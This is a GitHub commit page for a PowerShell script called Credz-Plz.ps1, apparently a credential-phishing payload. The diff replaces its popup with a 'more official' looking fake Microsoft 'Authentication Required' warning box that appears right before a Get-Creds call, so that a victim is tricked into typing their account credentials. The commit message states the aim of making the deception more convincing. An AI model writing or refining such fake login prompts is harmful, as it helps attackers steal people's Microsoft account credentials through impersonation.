Updated Credz-Plz.ps1

- Updated the script to show a "more official" looking initial popup.
This commit is contained in:
Kavitate 2022-12-21 14:44:22 -06:00 committed by GitHub
parent b49e1f3cfb
commit 5b3bcb256a
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -118,9 +118,13 @@ Pause-Script
Caps-Off Caps-Off
Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName PresentationCore,PresentationFramework
$msgBody = "Please authenticate your Microsoft Account."
[System.Windows.Forms.MessageBox]::Show("Unusual sign-in. Please authenticate your Microsoft Account") $msgTitle = "Authentication Required"
$msgButton = 'Ok'
$msgImage = 'Warning'
$Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage)
Write-Host "The user clicked: $Result"
$creds = Get-Creds $creds = Get-Creds